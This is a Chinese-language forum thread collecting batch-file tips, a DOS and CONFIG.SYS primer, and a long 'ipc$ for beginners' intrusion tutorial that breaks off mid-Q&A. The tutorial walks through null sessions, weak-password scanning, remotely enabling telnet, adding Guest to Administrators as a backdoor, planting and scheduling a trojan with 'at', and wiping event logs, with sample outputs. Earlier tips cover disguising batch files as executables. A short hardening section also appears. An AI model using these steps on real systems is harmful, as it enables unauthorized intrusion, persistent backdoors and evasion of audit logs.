del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"

十八.進程終止
win2000通過批處理列進程獲取PID,再結合用NTSD終止進程.
win2000裡沒有直接可以顯示進程與進程PID的命令,需要到安裝光盤裡SUPPORT\TOOLS的SUPPORT.CAB裡將tlist解壓出來,放在system32下面,再加上這個語法,注意:win2000下for語法的do後面沒用括號括(在2000里看for語法),我把整個就放一行裡了,執行完後按任意鍵退出.
:在tlist輸出中查找notepad對應的PID值,並將notepad進程殺死
for /f "tokens=1,2" %%i in ('tlist') do @echo %%j | find /i "notepad.exe" 2>nul 1>nul && (ntsd -c q -p %%i)
pause
我試著用它殺死sql*的進程,sqlservr.exe這個要殺兩次.
win2000使用中的代碼:
for /f "tokens=1" %%a in ('tlist^|find /i "edi_input.exe"') do set edipid=%%a
echo PID=%edipid%
ntsd -c q -p %edipid%
tlist -t ——以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名—— 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)

winxp與2003下可以直接用ntsd -c q -pn autoauditing.exe(進程名)
或:通過已知道的進程名,如QQ.EXE,自動判斷出該進程的PID,並把該進程結束掉,用批處理來實現
@echo off
for /f "tokens=2" %%a in ('tasklist^|find /i "qq.exe"') do set qqpid=%%a
echo PID=%qqpid%
taskkill /pid %qqpid% /f
pause&exit/b

或: Taskkill /f /IM edi_input.exe
OR:
@echo off
for /f "tokens=1,2" %%i in ('tasklist') do (
    echo %%i | findstr /i "abc.exe" 1>nul 2>nul && (
        ntsd -c q -p %%j & set qq=%%i
    )
)
if /i not "%qq%"=="abc.exe" echo 沒有中毒
pause

十九:批處理加密最簡單的辦法
    把批處理文件用winrar做成一個自解壓的包,解壓方式為「臨時文件夾」(也可以指定為一個隱蔽的路徑),安靜模式為「全部隱藏」,覆蓋方式為「覆蓋所有文件」
還可以加一個密碼,不過運行的時候就需要輸入正確的密碼才能運行的了。再在解壓後運行中輸入這個批處理文件名就可以了。
比如test.bat這個批處理文件,壓縮之後會生成一個test.exe的可執行文件了,現在已經能用了。不過在文件上按鼠標右鍵還可以看到是winrar的壓縮文件,我再把它的後綴名改為.com或.bat或.cmd都行,這樣用記事本打開一看全是亂碼,他們都以為是用你們上面的方法加密的吧。

二十:掃瞄局域網mac地址並轉換成modiip
http://www.unixwiz.net/tools/nbtscan.html#download  (nbtscan下載)
提供的nbtscan和gnu sort來將局域網掃瞄的mac地址處理成modiip的格式。
代碼:
\arc\nbtscan-1.0.35.exe -m 192.168.10.0/24 | .\arc\sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 >>abc.txt
setlocal enabledelayedexpansion
for /f "tokens=1-3 delims= " %%a in (abc.txt) do (
set mac=%%c
set ip=%%a
set cname=%%b
)
Call :modiip %mac::= %
goto eof
:modiip
set cname=%cname:~10,9%
echo %1%2%3%4%5%6=%ip%,%cname%>>mac.ini
pause
D:\>nbatscan -m 192.168.91.0/24
192.168.91.65   MSHOME\XXY                      00:1c:25:a5:94:48 SHARING
nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/
usage: nbatscan [options] target [targets...]
   Targets are lists of IP addresses, DNS names, or address
   ranges. Ranges can be in /nbits notation ("192.168.12.0/24")
   or with a range in the last octet ("192.168.12.64-97")
   -V        show Version information
   -f        show Full NBT resource record responses (recommended)
   -H        generate HTTP headers
   -v        turn on more Verbose debugging
   -n        No looking up inverse names of IP addresses responding
   -p <n>    bind to UDP Port <n> (default=0)
   -m        include MAC address in response (implied by '-f')
   -T <n>    Timeout the no-responses in <n> seconds (default=2 secs)
   -w <n>    Wait <n> msecs after each write (default=10 ms)
   -t <n>    Try each address <n> tries (default=1)
   -1        Use Winsock 1 only
   -P        generate results in perl hashref format

二十一:用ping循環掃瞄本網段在線IP:
@echo off
setlocal enabledelayedexpansion
for /l %%i in (1,1,256) do (
        ping -n 1 -w 100 192.168.1.%%i >nul 2>nul
        if !ERRORLEVEL! equ 0 echo IP 192.168.1.%%i 在線!
)
echo 掃瞄成功結果如上!
pause
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:51

在DOS下常用的程式詳細介紹
DIR 觀看目錄可使用硬碟和軟碟和光碟等其主要目的在於使用者方便觀看而常用參數為 DIR /W/P
FORMAT 為格式化的工具常用參數為 FORMAT A: /S 來製造開機片或FORMAT C:/Q/U/S來快速格式化硬碟
COPY 為複製檔案的軟體其使用方法如將軟碟中的所有檔案複製到碟碟COPY A:\*.* C:\  即可
DEL 為刪除檔案軟體其用方式如 硬碟中有一檔名為CONFIG.SYS要將其刪除 DEL C:\CONFIG.SYS
EDIT 為批次檔製造軟體 常見的CONFIG.SYS和AUTOEXEC.BAT都是它製造的後面會作詳細的介紹
MEM 為觀看記憶體的軟體可瞭解記憶體的使用情形
ATTRIB 為檔案屬性的設定其屬性有隱瞞防寫防防讀都是從這裡設定的
REN 為更名的工具
TYPE 為DOS下可直接觀看檔案內容的軟體但不能看中文文書
FDISK 為分割硬碟的軟體可將硬碟分割成C: D: E: F: ~~Z:
MD 建立目錄
RD 刪除目錄




CONFIG.SYS的設定及記憶體的管理 (很多人玩遊戲不能玩的原因都在這裡)

         想玩玩遊的時候卻發現記憶體不夠的畫面,但說明書上卻寫著只要32MB的RAM

而CPU只要486DX-100MHZ就能玩可是我卻不能玩…嗚嗚 我生病了媽媽不讓我出 去玩……什麼嘛!火長看電視看瘋了嗎? ……不是站長是要告訴你原因是羊毛出在羊身上所以大家都從來不曾設定過羊;呀不大家從不曾設定過CONFG.SYS

     所以不知道原來是記憶體的設定不當才會如此的:以下的設定是所有WIN98遊戲

     百分之二百可以玩的設定方式,什麼百分之二百真的假的……沒什麼!站長這人       沒什麼缺點就是愛吹牛罷了:吹吹吹………

    因為有人比較急性子所以我先將檔案寫出讓它們先用吧!如果想瞭解深入點就看      下面的2.吧!

  1. 在CONFIG.SYS內設定成

    DEVICE?=C:\WINDOWS\HIMEM.SYS  

DEVICE?=C:\WINDOWS\HIMEM.SYS NOEMS 這一二行在開機時會問你要用那一個只要選一個就行如 果不行就換另一個

   DEVICE=C:\WINDOWS\EMM386.EXE RAM AUTO

   DOS=HIGH,UMB

    FILES=45

    BUFFERS=50

   STACKS=9,256

    LASTDRIVE=Z 這一行如果常用虛X光碟來玩的一定要設成Z 免得不夠用,對玩家                                 來說,真的不夠用。

   DEVICE=C:\CDROM\AOATAPI.SYS /D:123456 這是你的光碟機每個人可能不同但

                                           一般的IDE的光碟和DVD都可以用

 

   忘了跟看官說要用什麼程式打如果你會用EDIT就用EDIT如果你不會就用視窗的記事    本開新的檔案打好上列儲存時檔名一定要取C:\CONFIG.SYS就對了。

 

記憶體的介紹說明

DEVICE 是CONFIG的一個專用命令它會把驅動程式載入
ANSI 週邊驅動程式
SETVER 功能在於使不相同的軟體能樂於執行
DEVICE? 在程式執行中載入時會問是否載入使用者可有主控權
HIMEM.SYS XMS延伸記憶體(最好放在第一行)
HIGH,UMB 將DOS載入HMA
EMM386.EXE 可用來模擬擴展記憶體(EMS)和建立(UMBS)
NOEMS 不使用EMS
LASTDRIVE=C..........Z 可選擇使用磁碟的多或少最小有C:最大到Z:
RAMDRIVE.SYS 是用來建立一個虛擬碟碟機的程式主要目的為加速
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:51

菜鳥必備:ipc$詳細解釋大全


目錄 :

一 前言
二 什麼是ipc$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$連接所使用的端口
六 ipc$連接在hack攻擊中的意義
七 ipc$連接失敗的常見原因
八 複製文件失敗的原因
九 如何打開目標的IPC$共享以及其他共享
十 一些需要shell才能完成的命令
十一 入侵中可能會用到的相關命令
十二 ipc$完整入侵步驟祥解
十三 如何防範ipc$入侵
十四 ipc$入侵問答精選
十五 結束的話



一 前言

網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的種種迷惑(你隨便找一個hack論壇搜一下ipc$,看看存在的疑惑有多少)。因此我參考了網上的一些資料,教程以及論壇帖子,寫了這篇總結性質的文章,想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!
注意:本文所討論的各種情況均默認發生在win NT/2000環境下,win98將不在此次討論之列,而鑑於win Xp在安全設置上有所提高,個別操作並不適用,有機會將單獨討論。


二 什麼是ipc$


IPC$(InternetProcessConnection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這麼說,一定是指微軟自己安置的那個『後門』:空會話(Null session)。那麼什麼是空會話呢?


三 什麼是空會話


在介紹空會話之前,我們有必要瞭解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:
1)會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建
立;
2)服務器產生一個隨機的64位數(實現挑戰)傳送回客戶;
3)客戶取得這個由服務器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結
果返回到服務器(實現響應);
4)服務器接受響應後發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌連接到服務器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含安全標識符SID(它標識了用戶和所屬組),對於一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶名是:ANONYMOUSLOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數據庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面偽裝的組:
Everyone
Network
在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢?


四 空會話可以做什麼


對於NT,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問everyone權限的共享,訪問小部分註冊表等,並沒有什麼太大的利用價值;對2000作用更小,因為在Windows 2000和以後版本中默認只有管理員和備份操作員有權從網絡訪問到註冊表,而且實現起來也不方便,需借助工具。從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,這對於一個老練的黑客已經足夠了。以下是空會話中能夠使用的具體命令:


1 首先,我們先建立一個空會話(需要目標開放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。


2 查看遠程主機的共享資源
命令:net view \\IP
解釋:建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下類似類似結果:
在 \\*.*.*.*的共享資源
資源共享名 類型 用途 註釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。


3 查看遠程主機的當前時間
命令:net time \\IP
解釋:用此命令可以得到一個遠程主機的當前時間。


4 得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
nbtstat -A IP
用此命令可以得到一個遠程主機的NetBIOS用戶名列表(需要你的netbios支持),返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在EventLog中留下記錄,不管你是否登錄成功。 好了,那麼下面我們就來看看ipc$所使用的端口是什麼?


五 ipc$所使用的端口


首先我們來瞭解一些基礎知識:
1 SMB:(Server Message Block) Windows協議族,用於文件打印共享的服務;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基於TCP/IP協議的NETBIOS網絡互聯。
3 在WindowsNT中SMB基於NBT實現,而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445端口實現。

有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:

對於win2000客戶端來說:
1 如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那麼就發送RST包給139端口斷開連接,用 455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都沒有響應,則會話失敗;
2 如果在禁止NBT的情況下連接服務器時,那麼客戶端只會嘗試訪問445端口,如果445端口無響應,那麼會話失敗。由此可見,禁止了NBT後的win 2000對win NT的共享訪問將會失敗。


對於win2000服務器端來說:
1 如果允許NBT, 那麼UDP端口137, 138, TCP 端口 139, 445將開放;
2 如果禁止NBT,那麼只有445端口開放。


我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,ipc$會話是無法建立的。


六 ipc$連接在hack攻擊中的意義


就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),如果你能夠以某一個具有一定權限的用戶身份登陸的話,那麼你就會得到相應的權限,顯然,如果你以管理員身份登陸,嘿嘿,那你可就了不得了,基本上可以為所欲為了。不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些粗心的管理員存在弱口令,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼將會越來越難的,因此今後你最大的可能就是以極小的權限甚至是沒有權限進行連接,甚至在主機不開啟ipc$共享時,你根本就無法連接,你會慢慢的發現ipc$連接並不是萬能的,所以不要奢望每次連接都能成功,那是不現實的。
是不是有些灰心?倒也不用,關鍵是我們要擺正心態,不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它只是很多入侵方法中的一種,你有可能利用它一擊必殺,也有可能一無所獲,這些都是正常的,在黑客的世界裡,不是每條大路都能通往羅馬,但總有一條路會通往羅馬,耐心的尋找吧!


七 ipc$連接失敗的常見原因

以下是一些常見的導致ipc$連接失敗的原因:


1IPC連接是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,所以不能在Windows9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ipc$連接的;


2 如果想成功的建立一個ipc$連接,就需要對方開啟ipc$共享,即使是空連接也是這樣,如果對方關閉了ipc$共享,你將會建立失敗;


3 你未啟動Lanmanworkstation服務,它提供網絡鏈結和通訊,沒有它你無法發起連接請求(顯示名為:Workstation);


4 對方未啟動Lanmanserver服務,它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依賴於此服務,沒有它遠程主機將無法響應你的連接請求(顯示名為:Server);


5 對方未啟動NetLogon,它支持網絡上計算機 pass-through 帳戶登錄身份;


6 對方禁止了NBT(即未打開139端口);


7 對方防火牆屏蔽了139和445端口;


8 你的用戶名或者密碼錯誤(顯然空會話排除這種錯誤);


9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號""即可;


10 如果在已經建立好連接的情況下對方重啟計算機,那麼ipc$連接將會自動斷開,需要重新建立連接。


另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows無法找到網絡路徑:網絡有問題;
錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個ipc$,請刪除再連;
錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動:目標NetLogon服務未啟動;
錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。


八 複製文件失敗的原因


有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?


1 盲目複製
這類錯誤出現的最多,佔到50%以上。許多朋友甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行複製之前務必用net view \\IP這個命令看一下對方的共享情況,不要認為ipc$連接建立成功了就一定有共享文件夾。


2 默認共享判斷錯誤
這類錯誤也是大家經常犯的,主要有兩個小方面:

1)錯誤的認為能建立ipc$連接的主機就一定開啟了默認共享,因而在建立完連接之後馬上向admin$之類的默認共享複製文件,導致複製失敗。ipc$連接成功只能說明對方打開了ipc$共享,ipc$共享與默認共享是兩碼事,ipc$共享是一個命名管道,並不是哪個實際的文件夾,而默認共享並不是ipc$共享的必要條件;

2)由於net view \\IP無法顯示默認共享(因為默認共享帶$),因此通過這個命令,我們並不能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那麼所有向默認共享進行的操作都不能成功;(不過大部分掃瞄軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)


3用戶權限不夠,包括四種情形:
1)空連接向所有共享(默認共享和普通共享)複製時,大多情況下權限是不夠的;
2)向默認共享複製時,要具有管理員權限;
3)向普通共享複製時,要具有相應權限(即對方事先設定的訪問權限);
4)對方可以通過防火牆或安全軟件的設置,禁止外部訪問共享;

還需要說明一點:不要認為administrator就一定是管理員,管理員名稱是可以改的。


4被防火牆殺死或在局域網
也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到文件;還有可能你把木馬複製到了局域網內的主機,導致連接失敗。因此建議你複製時要小心,否則就前功盡棄了。


呵呵,大家也知道,ipc$連接在實際操作過程中會出現千奇百怪的問題,上面我所總結的只是一些常見錯誤,沒說到的,只能讓大家自己去體會了。


九 如何打開目標的IPC$共享以及其他共享


目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬等,然後在shell下執行netshare ipc$來開放目標的ipc$,用net share ipc$ /del來關閉共享。如果你要給它開共享文件夾,你可以用netshare baby=c:\,這樣就把它的c盤開為共享名為baby共享了。


十 一些需要shell才能完成的命令


看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執行了,起了誤導作用。那麼下面我總結一下需要在shell才能完成的命令:

1 向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成;

2 打開遠程主機的ipc$共享,默認共享,普通共享的操作需要在shell下完成;

3 運行/關閉遠程主機的服務,需要在shell下完成;

4 啟動/殺掉遠程主機的進程,也需要在shell下完成。


十一 入侵中可能會用到的相關命令


請注意命令適用於本地還是遠程,如果適用於本地,你只能在獲得遠程主機的shell後,才能向遠程主機執行。

1 建立空連接:
net use \\IP\ipc$ "" /user:""

2 建立非空連接:
net use \\IP\ipc$ "psw" /user:"account"

3 查看遠程主機的共享資源(但看不到默認共享)
net view \\IP

4 查看本地主機的共享資源(可以看到本地的默認共享)
net share

5 得到遠程主機的用戶名列表
nbtstat -A IP

6 得到本地主機的用戶列表
net user

7 查看遠程主機的當前時間
net time \\IP

8 顯示本地主機當前服務
net start

9 啟動/關閉本地服務
net start 服務名 /y
net stop 服務名 /y

10 映射遠程共享:
net use z: \\IP\baby
此命令將共享名為baby的共享資源映射到z盤

11 刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del /y刪除全部

12 向遠程主機複製文件
copy \路徑\srv.exe \\IP\共享目錄名,如:
copy ccbirds.exe \\*.*.*.*\c 即將當前目錄下的文件複製到對方c盤內

13 遠程添加計劃任務
at \\ip 時間 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:時間儘量使用24小時制;在系統默認搜索路徑(比如system32/)下不用加路徑,否則必須加全路徑


14 開啟遠程主機的telnet
這裡要用到一個小程序:opentelnet.exe,各大下載站點都有,而且還需要滿足四個要求:

1)目標開啟了ipc$共享
2)你要擁有管理員密碼和帳號
3)目標開啟RemoteRegistry服務,用戶就該ntlm認證
4)對WIN2K/XP有效,NT未經測試
命令格式:OpenTelnet.exe \\server account psw NTLM認證方式 port
試例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

15 激活用戶/加入管理員組
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 關閉遠程主機的telnet
同樣需要一個小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe \\server account psw
試例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

17 刪除一個已建立的ipc$連接
net use \\IP\ipc$ /del


(本教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社區原創http://ccbirds.yeah.net)


十二 ipc$完整入侵步驟祥解

其實入侵步驟隨個人愛好有所不同,我就說一下常見的吧,呵呵,獻醜了!

1 用掃瞄軟件搜尋存在若口令的主機,比如流光,SSS,X-scan等,隨你的便,然後鎖定目標,如果掃到了管理員權限的口令,你可以進行下面的步驟了,假設你現在得到了administrator的密碼為空


2 此時您有兩條路可以選擇:要麼給對方開telnet(命令行),要麼給它傳木馬(圖形界面),那我們就先走telnet這條路吧


3上面開telnet的命令沒忘吧,要用到opentelnet這個小程序
c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90
如果返回如下信息
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
OpenTelnet.exe

Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.*...Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service...
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
*說明你已經打開了一個端口90的telnet。


4 現在我們telnet上去
telnet 192.168.21.* 90
如果成功,你將獲得遠程主機的一個shell,此時你可以像控制自己的機器一樣控制你的肉雞了,那麼做點什麼呢?把guest激活再加入管理組吧,就算留個後門了


5 C:\>net user guest /active:yes
*將Guest用戶激活,也有可能人家的guest本來就試活的,你可以用net user guest看一下它的帳戶啟用的值是yes還是no


6 C:\>net user guest 1234
*將Guest的密碼改為1234,或者改成你喜歡的密碼


7 C:\>net localgroup administrators guest /add
*將Guest變為Administrator,這樣,即使以後管理員更改了他的密碼,我們也可以用guest登錄了,不過也要提醒您,因為通過安全策略的設置,可以禁止guest等帳戶的遠程訪問,呵呵,如果真是這樣,那我們的後門也就白做了,願上帝保佑Guest。


8 好了,現在我們來走另一條路,給它傳個木馬玩玩


9 首先,我們先建立起ipc$連接
C:\>net use \\192.168.21.*\ipc$ "" /user:administrator


10 既然要上傳東西,就要先知道它開了什麼共享
C:\>net view \\192.168.21.*
在 \\192.168.21.*的共享資源
資源共享名 類型 用途 註釋

-----------------------------------------------------------
C Disk
D Disk
命令成功完成。
*好了,我們看到對方共享了C,D兩個盤,我們下面就可以向任意一個盤複製文件了。再次聲明,因為用net view命令無法看到默認共享,因此通過上面返回的結果,我們並不能判斷對方是否開啟了默認共享。


11 C:\>copy love.exe \\192.168.21.*\c
已複製 1 個文件
*用這個命令你可以將木馬客戶端love.exe傳到對方的c盤下,當然,如果能複製到系統文件夾下是最好的了,不容易被發現


12 運行木馬前,我們先看看它現在的時間
net time \\192.168.21.*
\\192.168.21.*的當前時間是 2003/8/22 上午 11:00
命令成功完成


13 現在我們用at運行它吧,不過對方一定要開了Task Scheduler服務(允許程序在指定時間運行),否則就不行了
C:\>at \\192.168.21.* 11:02 c:\love.exe
新加了一項作業,其作業 ID = 1


14 剩下就是等了,等過了11:02,你就可以用控制端去連接了,如果成功你將可以用圖形界面去控制遠程主機了,如果連接失敗,那麼它可能在局域網裡,也可能程序被防火牆殺了,還可能它下線了(沒這麼巧吧),無論哪種情況你只好放棄了


嗯,好了,兩種基本方法都講了。如果你對上面的操作已經輕車熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec執行木馬,用命令:psexec \\tergetIP -u user -p paswdcmd.exe直接獲得shell等,這些都是可以得,隨你的便。不過最後不要忘了把日誌清理乾淨,可以用榕哥的elsave.exe。
講了ipc$的入侵,就不能不說如何防範,那麼具體要怎樣做呢?看下面


十三 如何防範ipc$入侵


1 禁止空連接進行枚舉(此操作並不能阻止空連接的建立)

方法1:
運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1
如果設置為"1",一個匿名用戶仍然可以連接到IPC$共享,但限制通過這種連接得到列舉SAM帳號和共享等信息;在Windows 2000中增加了"2",限制所有匿名訪問除非特別授權,如果設置為2的話,可能會有一些其他問題發生,建議設置為1。如果上面所說的主鍵不存在,就新建一個再改鍵值。

方法2:
在本地安全設置-本地策略-安全選項-在'對匿名連接的額外限制'中做相應設置


2 禁止默認共享

1)察看本地共享資源
運行-cmd-輸入net share

2)刪除共享(重起後默認共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)

4)禁止自動打開默認共享(此操作並未關閉ipc$共享)
運行-regedit

server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。

pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值。
這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加。


3 關閉ipc$和默認共享依賴的服務:server服務
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用
這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴於lanmanserver,不要管它。


4 屏蔽139,445端口
由於沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。

1)139端口可以通過禁止NBT來屏蔽
本地連接-TCP/IT屬性-高級-WINS-選『禁用TCP/IT上的NETBIOS'一項

2)445端口可以通過修改註冊表來屏蔽
添加一個鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完後重啟機器

注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。


3)安裝防火牆進行端口過濾


5 設置複雜密碼,防止通過ipc$窮舉出密碼。


十四 ipc$入侵問答精選


上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我看好幾個安全論壇,找了n多的帖子,從中整理了一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回覆,如果有什麼疏漏和錯誤,還請包涵。


1.進行ipc$入侵的時候,會在服務器中留下記錄,有什麼辦法可以不讓服務器發現嗎?

答:留下記錄是一定的,你走後用程序刪除就可以了,或者用肉雞入侵。


2.你看下面的情況是為什麼,可以連接但不能複製
net use \\***.***.***.***\ipc$ "密碼" /user:"用戶名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網絡路徑
命令不成功

答:可能有兩個原因:
1)你的權限不夠,不能訪問默認共享;

2)對方沒有開啟admin$默認共享,不要認為能進行ipc$連接,對方就一定開了默認共享(很多人都這麼以為,誤區!!),此時你可以試試別的默認共享或普通共享,比如c$,d$,c,d等,如果還是不行,就要看你的權限了,如果是管理員權限,你可以開telnet,如果能成功,在給它開共享也行。


3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?

答:建議先用流光或者別的什麼猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。


4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net view \\ip發現它沒開默認共享,我該怎麼辦?

